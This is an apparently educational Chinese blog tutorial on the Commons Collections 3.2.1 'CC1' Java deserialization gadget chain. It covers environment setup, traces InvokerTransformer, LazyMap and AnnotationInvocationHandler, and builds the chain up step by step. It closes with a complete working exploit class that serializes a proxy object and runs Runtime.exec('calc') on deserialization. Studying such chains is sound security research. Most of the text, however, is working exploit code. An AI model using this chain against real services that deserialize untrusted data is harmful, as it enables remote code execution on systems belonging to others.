CommonsCollections-1链 有了urldns的链子我们大概就有思路怎么找了,那么urldns只是供我们测试是否能进行反序列化的话,我们还需要有一条能供我们rce的链子
cc这个库的作用不用我特别说了,总之就是一个很常用的工具类
那么首先cc1链的环境要求比较苛刻,这里简单讲一下
环境配置 java版本:jdk 8u65
maven:3.6.3
cc版本:3.2.1
首先是java版本的下载,在https://www.oracle.com/java/technologies/downloads/ 记得一定要把语言改成英文再下, 8u65会下成8u71
然后是源码包,不下源码包的话你看进去的变量会变成var1 var2这种解析后的代码
源码包下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 点左侧的zip下载 我们解压 jdk8u65 的 src.zip,解压完之后,我们把 openJDK 8u65 解压出来的 sun 文件夹拷贝进 jdk8u65 中,这样子就能把 .class 文件转换为 .java 文件了
然后是cc的源码包
首先导入cc
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
然后下载源码包
环境配置完成,正式开始审cc链了
Runtime.exec 首先我们要先了解一下java是怎么命令执行的
现在我们需要了解的是runtime.exec
最基础的方法是这样
1 2 3 4 5 6 7 import java.io.IOException;public class temp { public static void main (String[] args) throws IOException { Runtime.getRuntime().exec("calc" ); } }
此外,我们还要了解反射调用执行
1 2 3 4 5 6 7 public class temp { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class c=Class.forName("java.lang.Runtime" ); Method m=c.getMethod("getRuntime" ); c.getMethod("exec" , String.class).invoke(m.invoke(c),"calc" ); } }
Class.forName
来获取类
getMethod
来获取类的方法
invoke
的作用是执行方法,它的第一个参数是:
如果这个方法是一个普通方法,那么第一个参数是类对象
如果这个方法是一个静态方法,那么第一个参数是类
这也比较好理解了,我们正常执行方法是 [1].method([2], [3], [4]...)
,其实在反射里就是method.invoke([1], [2], [3], [4]...)
我们直接来看yso的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
首先我们看到入口是InvokerTransformer.transform()
我们跟进看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
我们一看就看到了反射类加载的地方,我们看一下各个参数是怎么控制的
首先cls是直接input传进来的,调用方法的时候直接runtime就行,iMethodName
和iParamTypes
还有iArgs
都是构造的时候就传进去的
1 2 3 4 5 6 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
我们先尝试用上面反射加载的方式加载,然后再把参传进去
1 2 3 4 5 6 7 8 public class temp { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime=Runtime.getRuntime(); Class cls=runtime.getClass(); Method method=cls.getMethod("exec" , String.class); method.invoke(runtime,"calc" ); } }
我们再尝试把这些参数传到InvokerTransformer
里
1 2 3 4 5 6 7 8 9 10 11 public class temp { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); invokerTransformer.transform(runtime); } }
成功执行,要注意构造函数里面要传的什么参数
那么我们成功构造好了链子的入口,接下来我们要看哪里有同名函数调用了transform
LazyMap.get() 我们选中transform
右键find usages
来找到哪些地方调用了transform()
我们根据yso链子找到LazyMap
,找到get方法调用了transform()
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
当map里面没有这个key就会触发下面的内容
那么我们就要去找一下我们要用的factory
是什么
1 2 3 4 5 6 7 protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; }
也是在构造的时候就能传到,但是这个类是protected
不能直接构造得到,而这个类里的decorate
方法能直接帮我们构造
1 2 3 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
尝试构造一下,因为是public方法,可以直接调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class temp { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); HashMap<Object,Object> hashMap= new HashMap (); Map decorateMap= LazyMap.decorate(hashMap,invokerTransformer); decorateMap.get(runtime); } }
还可以尝试反射调用两个效果是一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class temp { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); HashMap<Object,Object> hashMap= new HashMap (); Map decorateMap= LazyMap.decorate(hashMap,invokerTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get" , Object.class); lazyGetMethod.setAccessible(true ); lazyGetMethod.invoke(decorateMap, runtime); } }
那么继续往下走,走到调用get方法的地方,看yso的链到了AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.invoke() 根据yso的链找到这里,看一眼源码先
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
需要触发 invoke
方法,马上想到动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke()
方法
那我们尝试写一个代理去调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class temp { public static void main (String[] args) throws Exception { Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); HashMap<Object,Object> hashMap= new HashMap (); Map decorateMap= LazyMap.decorate(hashMap,invokerTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationConstructor=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationConstructor.setAccessible(true ); InvocationHandler handler= (InvocationHandler) annotationInvocationConstructor.newInstance(Override.class,decorateMap); Map proxyMap= (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), (Class<?>[]) new Class []{Map.class},handler); Object o=annotationInvocationConstructor.newInstance(Override.class,proxyMap); SerializeUtils.serialize(o); SerializeUtils.unserialize("ser.bin" ); } }
发现没有弹计算器还报错了,因为runtime根本没调用到,报错The method 'exec' on 'class java.lang.String' does not exist
我们这里只能控制一个参数就是memberValues
那么我们也就要想办法在一个map里面塞下所有命令执行的参数,那么这里我们就要用到另外两个辅助我们的工具类了
我们回到之前执行命令的地方看
1 2 3 4 5 6 7 8 9 10 11 12 13 public class temp { public static void main (String[] args) throws Exception { Class c=Runtime.class; Method get_runtime=c.getMethod("getRuntime" ); Method exec=c.getMethod("exec" , String.class); exec.invoke(get_runtime.invoke(c),"calc" ); } }
我们把它拆分开来
获取Runtime类
获取getRuntime方法
获取exec方法
从下往上invoke嵌套
那么,有没有方法可以把他们整合到一起呢,当然是有的,我们把几个获取方法都整合成用InvokerTransformer
的类的方法构造出来
1 2 3 new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null })new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null })new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" })
如果这里看不懂罚你回去从InvokerTransformer链头开始看
这个时候我们正好有一个方法,对他们依次调用transform
方法并且上一个的结果进行调用,那就是ChainedTransformer
类,我们看一下对应源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
接受一个数组,对亚目循环调用transform
方法,接受的是一个Transformer[]
数组
那么我们现在就可以这样写
1 2 3 4 5 6 Transformer[] transformers=new Transformer []{ new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers);
但是我们还少一个runtime
头,我们需要把一个runtime
类转换成transform
对象,我们就要用到另一个工具类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
只要把我们的runtime传进去就行了,那么我们最后构造好就是这样
1 2 3 4 5 6 7 Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers);
至此,我们的所有链完全贯通,cc1链大功告成
最终exp 那么最终exp就为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package cat.uwu.serialize;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import cat.uwu.util.SerializeUtils;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonsCollections1Chain { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) annotationInvocationConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Map.class}, handler); Object o = annotationInvocationConstructor.newInstance(Override.class, proxyMap); SerializeUtils.serialize(o); SerializeUtils.unserialize("ser.bin" ); } }